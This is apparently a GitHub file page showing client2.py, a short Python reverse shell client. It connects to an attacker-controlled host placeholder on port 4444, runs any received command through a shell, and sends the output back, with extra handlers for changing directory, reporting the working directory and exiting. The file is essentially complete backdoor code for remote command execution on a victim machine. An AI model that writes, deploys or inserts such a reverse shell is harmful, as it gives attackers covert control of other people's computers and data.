-
Notifications
You must be signed in to change notification settings - Fork 45
Expand file tree
/
Copy pathclient2.py
More file actions
42 lines (27 loc) · 742 Bytes
/
client2.py
File metadata and controls
42 lines (27 loc) · 742 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import socket
import subprocess
import os
def connect():
host = 'LHOST of server'
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
while True:
command = s.recv(1024)
if 'getdir' in command:
sendDir = os.getcwd()
s.send(sendDir)
if 'kill' in command:
s.close()
break
if command[:2].decode("utf-8") == 'cd':
os.chdir(command[3:].decode("utf-8"))
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = CMD.stdout.read() + CMD.stderr.read()
output_str = str(output_bytes)
s.send(output_str)
print(output_str)
def main():
connect()
main()